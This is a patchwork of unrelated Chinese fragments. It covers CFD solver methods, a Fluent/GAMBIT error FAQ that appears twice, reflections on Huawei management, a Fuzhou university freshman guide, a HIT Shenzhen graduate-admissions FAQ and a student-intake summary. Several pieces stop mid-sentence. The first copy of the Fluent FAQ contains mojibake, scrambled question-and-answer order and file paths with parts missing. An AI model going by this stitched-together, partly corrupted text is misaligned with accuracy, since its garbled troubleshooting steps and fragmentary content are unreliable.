求解Navier-Stokes方程的计算方法根据连续方程的处理方式，可以分为密度法和压力法。不论是密度法还是压力法，速度场都是由动量方程所控制，差别在压力场的确定方法上，密度法是通过连续方程确定密度，再由状态方程换算压力，这一方法多用于可压缩流动，作一定修正后，也可用于低马赫数流动，而这一流动已被看做不可压缩流，但此时精度及鲁棒性都有所降低，对于湍流甚至会失去有效性。密度法的弱点正好是压力法的长处，压力法是通过压力方程或压力修正方程来获得压力场，由于其鲁棒性及有效性，得以广泛使用。该方法原是作为求解不可压缩流动发展起来的，但也可以推广到可压缩流的计算上。这两种方法在求解思路上也有所不同，密度法多用同步求解各变量，而压力法则常为顺序求解各变量。显然顺序求解的一个优势是便于补充方程而无需修改算法程序。 Fluent用户手册上，对于可压缩流动有以下需要注意的策略，在此就不再翻译了，以免曲解原意。 Solution Strategies for Compressible Flows The difficulties associated with solving compressible flows are a result of the hi gh degree of coupling between the flow velocity, density, pressure, and energy. Thi
Fluent 计算错误汇总 1..fluent不能显示图像 在运行fluent时，导入case后，检查完grid，在显示grid时，总是出现这样的错误 Error message from graphics function Update_Display: Unable to Set OpenGL Rendering Context Error: FLUENT received a fatal signal (SEGMENTATION VIOLATION). Error Object: () 解决办法： 右键单击快捷方式，把目标由x: 改成：x: 2d -driver msw 如果还有三维的，可以再建立一个快捷方式改成： x: 3d -driver msw 这就可以直接调用了。如果不是以上原因引起的话，也有可能是和别的软件冲突，如MATLAB等，这也会使fluent无法显示图像。 Q1:GAMBIT安装后无法运行，出错信息是“unable find Exceed X Server” A. GAMBIT需要装EXCEED才能用。 gambit的运行：先运行命令提示符，输入gambit，回车 fluent的运行：直接在开始－程序－Fluent Inc里面 Q2:Fluent安装后无法运行，出错信息是甥?挱湵扡敬映湩層漯数? A. FLUENT和GAMBIT需要把相应文件拷贝到license目录下 文件？gambit时提示找不到gambit出错信息：运行Q3: A. FLUENT和GAMBIT推荐使用默认安装设置， 安装完GAMBIT请设置环境变量， 设置办法“开始－程序－FLUENT INC-Set Environment 另外设置完环境变量需要重启一下，否则仍会提示找不到环境变量。Q4:使用Fluent和Gambit需要注意什么问题？ A. 安装好FLUENT和GAMBIT最好设置一下用户默认路径 推荐设置办法，在非系统分区建一个目录，如d:%users a）win2k用户在控制面板－用户和密码－高级－高级，在使用fluent用户的配置文件 修改本地路径为d:%users，重起到该用户运行命令提示符，检查用户路径是否修改 b）xp用户，把命令提示符发送到桌面快捷方式，右键单击命令提示符快捷方式 在快捷方式－起始位置加入D:%users,重起检查 Q5:Gambit运行失败，出错信息“IDENTIFIER default_ Server ” 等文件default_id.*的缺省文件已经打开，到用户默认目录删除gambitA.
学习华为管理心得体会 -----学习《华为管理纲要》心得体会 公司这次下发的《华为管理纲要》，给了我们一个很好的提升管理能力的自我培训的机会。通过《华为管理纲要》的学习，让我深刻认识到一个合格的中层干部在企业发展中的重要意义，也感触到了提升中层干部管理能力对企业的重要性。我的心得如下： 一、干部要起到表率作用 作为一名中层干部，不能只靠说别人，一定要严格要求自己，打铁还需自身硬，干部的职责是带队伍，干部的作风影响队伍的作风。要坚持实事求是，敢讲真话，树立自己的榜样形象，成为令下属心悦诚服的好榜样，这样我们中层干部的管理才更有说服力和执行力。二、干部要有主动积极的工作作风 作为中层干部，不能事事都等着领导交待，要把工作做到前头。积极主动地做好日常管理工作的铺垫和准备，把会出现的问题及各种应急预案提早考虑周全。对于下属，要明确他们的职责分工，明细化考核条目，奖勤罚懒，调动他们的工作主动性，让他们从“要我干”转变成“我要干”，这样才能打造出一个极具主动性的队伍。 三、干部要把工作做到位 我们中层干部，要有严谨的工作态度和正确的工作方向。要勤于思考，包括工作思路、管理上的疏漏等；要乐于沟通，既要与上级沟通，发现问题及时汇报请示，又要与下属多交流，发现思想懈怠及时
纠正；要有善于发现问题的眼睛，细致观察工作环境的变化，及早发现问题并解决；要广泛听取领导及下属员工对自己工作的意见和建议，心胸要放宽，一个人太看重“面子”就容易忽略对自我的批评；要经常深入生产一线，保持第一手资料的收集，及时发现下属员工工作中的问题并加以纠正。 四、干部要勇于承担责任 在领导面前不找借口，不可明哲保身。在担当责任和寻找借口之间，可以体现一个中层干部的敬业和担当。问题面前找借口，那就根本说不上执行力。不仅要培养自身的担当心态，还要从明确车间内各项工作职责和工作流程上入手，不推诿，不扯皮，让下达的任务可以第一时间找到相应的责任人开展工作，也便于快速掌控工作进展情况。 五、干部要加强团队合作 中层干部作为一个团队的领导，对于团队内的成员，要给与充分的锻炼，要做到在各自的岗位独当一面。在这个强调团队合作的时代，我们的团队成员要有良好的心理素质，要懂得沟通，要学会怎么做人，怎么做事。而我们作为干部，要尽量做到公平公正，无私无畏，心胸开阔，这样才能团结好一个团队。 总结 我会依照这些体会，继续提升个人管理水平，发挥好公司赋予我的管理作用，更好的带动车间的各项工作，保障公司分配的生产任务和安环任务顺利完成。
录取通知书与及开学报到 预计录取通知书将在八月中旬前投递，内附通知书，入学须知和学校统一为学生开设的缴费卡。 新生根据所需要的缴费数额在规定时间内把钱存到卡内即可，学校财务会统一划走。 报到时候会有本系老生组织迎新，在福州各大火车汽车站会有校车接送，车站接新生的校车只有规定的报到期间才有 报到时候大概可以带1200左右人民币，以应付入学时的缴费和购买需求。另外因为新生入学时间ATM取款机压力比较大，所以最好不要不带钱。 提前到的新生，可以事先联系你们助导，或者到学校后问一下学长学姐宿舍区在哪，先去宿舍安置一下，到时候助导自然会去联系你们，这时候可以逛逛校园，熟悉一下校园环境。跟学长学姐还有辅导员多交流交流（老生9月1日报到）。 如有因事而无法在规定时间报道的同学，请及时与系里面联系。在新生的通知书上有报道时间以及各系办公室的电话，请各位同学牢记。 南北区问题 南北区中间由学府南路（双向3车道，共6车道）隔开，交流还算方便。北区步行桥修建完成后学府路的学生街开张，适合生活。 南区购买生活用品或者零食水果一般要到北区。 南北区不远看你是哪里走到哪里走路5—30分钟内几乎可以到你想去的地方南区有文传，交运，材料，机电，闽台.其他在北区 宿舍问题 学校宿舍按小区规划，分为ABCDEFGHI区，A至F区位于北区 学校A区有两栋畸形的4改八宿舍楼，这两栋楼都是留给大一男生的。不过学校其他大部分宿舍楼都很优秀，并不是每个男生都要住进八人间。
宿舍条件 除了A1A2以外据了解大部分宿舍都比较宽敞，标六的宿舍可以打羽毛球。宿舍楼平均每两层有一台投币洗衣机，基本可以满足洗衣要求。 宿舍分为：标四、标六、四改六、标八、六改八、四改八。（艰苦程度基本也是这个顺序）男生宿舍有主要有六人间和八人间，女生宿舍是四人间和六人间。相比而言，男生宿舍会艰苦一点。有部分是上下铺，还有公共浴室，不过浴室都是用木板独立分开的，不用考虑洗澡的时候春光乍泄的，嘿嘿。目前宿舍里面主要物品有，床铺，书柜，吊扇，书桌，椅子，当然还有不可或缺的空调。 标四（上床下桌大柜子有抽屉独立卫浴，图片可参照标六） (标六) 上床下桌大柜子独立卫浴.....
1.请问直接报哈工大深圳的工学或工程，一般需要多少分？ 答：报考工大深圳，首先需要上哈工大的分数线，我们再根据学生素质，择优录取，根据往年经验，第一志愿上线就应该可以录取了。（附10年310分，11年320分，其他要求前三科190，政治英语都要到50，业务科一、二都要到80） 2.深研院的工学硕士与工程硕士有什么区别？以后的培养有什么不同？会不会受歧视？ 毕业后工作待遇怎么样？ 答：工学和工程区别，毕业证上会有工程硕士字样，工程硕士全为为应用研究型学生，培养过程工学和工程研究生一样，不会受歧视，就业形势很好，如中兴，华为，艾默生，施耐德等等（详情请上我们的QQ群下载相关资料：8）。 3.深研院毕业了工作待遇怎么样？毕业后是不是只有在深圳才能找到工作？深研院毕业 生在长三角好找工作吗？ 答：深圳研究生院毕业生工作待遇总体很好，多数在国内外大型公司工作，毕业后就业不限于深圳，从往年数据来看，在深圳就业的居多，主要是因为喜欢深圳这座城市。如果你要想在长三角或京津地区找工作是没有任何问题的，很多学生毕业后去了北京上海西安等城市工作，也有同学选择去美国香港继续深造。 4.考取深圳研究生院控制专业后如何选导师？ 答：导师选择主要是在入学后进行，入学后将进行导师研究方向介绍，之后可以跟每位导师了解详细情况，并确定导师；当然，也可在考取以后，发送Email与感兴趣的导师做前期交流。 5.深圳研究生院的学术硕士和专业硕士有什么区别吗，应用型硕士有很多实习机会吗？ 答：学术硕士=工学硕士（学术型或应用型），专业硕士=工程硕士（应用型），两种硕士都可以选择去企业实习或者留实验室做研究，若在企业做课题，由学校和企业双导师共同辅导，比较注重实际动手能力。 6.深研院的毕业证和本部一样吗？会不会找工作时被歧视？好像需要两年半，有差别吗？ 答：毕业证和学位证与本部是完全一样的，找工作时不存在就业歧视问题，这一点可以从就业数据上得到验证（QQ群上有往年就业去向）。深圳研究生院的学制为2年至2.5年弹性学制，优秀的学生可以选择2年毕业。 7.想问一下哈工大深圳研究生学院自动化相关专业的复试分数大概是多少和本部会差 多少毕业以后工作好不好找？社会是否认可？ 答：哈工大深圳研究生院的复试在哈工大本部进行，同本部采取相同的复试标准，复试主要考察学生综合运用知识的能力，具体没有严格的分数线，采取择优录取的原则，从往年数据来看，初试第一志愿录取为深圳研究生院的考生只要复试表现不是非常差，基本都能录取，毕业后的工作情况请参看上面的问题. 8.深圳研究生院控制专业的研究实力如何，设备如何，师资力量如何？深研院的控制专业 有哪些方向？ 答：答：本学科师资力量精干有力，拥有“千人计划”教授1人，深圳市“鹏城学者”教授1人，教授4人、副教授8人、助理教授2人，皆毕业于国内外著名大学或科研机构，全部拥有博士学位，60%以上的教师被深圳市认定为高层次专业技术人才，大多拥有长期的海外学习或工作经历，科研成绩突出，在国内外学术界享有盛誉。多学源、多元化的师资群体，使学科的师资队伍充满创新朝气与无限活力。控制学科以自动化技术为依托，紧密结合深圳及泛珠三角地区经济建设和技术需求，形成了先进控制理论与技术、电子封装装备、高端数控加工设备、无人直升机、工业机器人、移动机器人、机器视觉及新能源技术等研究方向，在珠三角地区已经产生了良好的影响和效益。学科科研设施齐全，建有先进运动控制技术与现代自动化装备深圳市重点实验室，先进制造技术国家级重点实验室（与机械工程等学科合建）、深圳市风力发电新能源装备与智能电网重点实验室等各层次科研实验室，支撑控制及相关学科开展高水平科研与技术开发。目前，控制学科专业拥有价值1200万余元的科研设备；从2007年起，科研经费已达1000
Fluent 计算错误汇总 1. .fluent 不能显示图像 在运行fluent 时，导入case 后，检查完grid ，在显示grid 时，总是出现这样的错误 Error message from graphics function Update_Display: Unable to Set OpenGL Rendering Context Error: FLUENT received a fatal signal (SEGMENTATION VIOLATION). Error Object: () 解决办法解决办法：： 右键单击快捷方式，把目标由x:fluent.incntbinntx86fluent.exe 改成： x:fluent.incntbinntx86fluent.exe 2d -driver msw 如果还有三维的，可以再建立一个快捷方式改成： x:fluent.incntbinntx86fluent.exe 3d -driver msw 这就可以直接调用了。如果不是以上原因引起的话，也有可能是和别的软件冲突，如MATLAB 等，这也会使fluent 无法显示图像。 Q1:GAMBIT 安装后无法运行，出错信息是“unable find Exceed X Server” A. GAMBIT 需要装EXCEED 才能用。 gambit 的运行：先运行命令提示符，输入gambit，回车 fluent 的运行：直接在开始－程序－Fluent Inc 里面 Q2:Fluent 安装后无法运行，出错信息是“unable find/open license.dat" A. FLUENT 和GAMBIT 需要把相应license.dat 文件拷贝到FLUENT.INC/license 目录下 Q3:出错信息：运行gambit 时提示找不到gambit 文件? A. FLUENT 和GAMBIT 推荐使用默认安装设置， 安装完GAMBIT 请设置环境变量， 设置办法“开始－程序－FLUENT INC-Set Environment" 另外设置完环境变量需要重启一下，否则仍会提示找不到环境变量。 Q4:使用Fluent 和Gambit 需要注意什么问题？ A. 安装好FLUENT 和GAMBIT 最好设置一下用户默认路径 推荐设置办法，在非系统分区建一个目录，如d:\users a） win2k 用户在控制面板－用户和密码－高级－高级，在使用fluent 用户的配置文件 修改本地路径为d:\users，重起到该用户运行命令提示符，检查用户路径是否修改 b） xp 用户，把命令提示符发送到桌面快捷方式，右键单击命令提示符快捷方式 在快捷方式－起始位置加入D:\users,重起检查
入学以来新生总体情况的总结 医学检验系 开学已有将近一个月的时间了，军训结束后上课也有十多天了，在这将近一个月的时间里，学生对大学生活也有了初步的了解和认识，学生在新鲜和好奇之余，对大学的学习和生活也存在一些不适应，现将总体情况总结如下。 首先我按照学生处的要求，为了了解新生上课情况，引导学生形成良好的学习风气，在本周二我听了程少荣老师讲解的道德和法律，由于这门课是公共课，没什么难度，程老师又讲的非常幽默、风趣，极大的调动了学生的积极性，所以整节课的流程比较顺利，学生听的也比较认真。但是对于另外几门专业课，比如无机化学、有机化学、人体解剖学与组织胚胎学，因为这些课程和高中知识联系不是很大，学生学习起来普遍感觉比较困难，还有大学英语，有些学生高中时英语基础不太好，而且他们还不太适应大学老师讲课的方式，学生还是按照高中的学习方式在学习，学习的自主性不强，种种的原因导致学生现在在学习上的困惑还是比较大的。所以我给学生也分析了这些原因，并且对他们进行了指导。中学生在学习知识时更多地是追求“记住”知识，而大学生就应当要求自己“理解”知识并善于提出问题。对每一个知识点，都应当多问几个“为什么”。一旦真正理解了理论或方法的来龙去脉，大家才能举一反三地学习其他知识，解决其他问题，甚至达到无师自通的境界。上中学时，老师会一次又一次重复每一课里的关键内容。但进了大学以后，老师只会充当引路人的角色，大学生也不应该只会跟在老师的身后亦步亦趋，而应当主动走在老师的前面。大学老师在一个课时里通常要涵盖课本中几十页的信息内容，仅仅通过课堂听讲是无法把所有知识学通、学透的。学能力必须在大学期间开始培养，大学生必须自主地学习、探索和实践。最好的学习方法是在老师讲课之前就把课本中的相关问题琢磨清楚，然后在课堂上对照老师的讲解弥补自己在理解和认识上的不足之处。 在生活方面，对一部分新生来说，上大学是他们第一次离家，第一次开始独立生活，以前很多事都是家长做主，第一次管理和支配自己的钱，没有理财经验，从小生活上依赖性太强，没有养成良好习惯，对自己要求不高，对社会责任意识不强。大多数学生来自山东的市县，还有个别的同学来在外省，不同的生活背景和生活习惯让他们融入到一起产生了一定的困难。还有些学生对高考成绩或考试过程不满意，对所读学校或专业不满意；入学后遇到困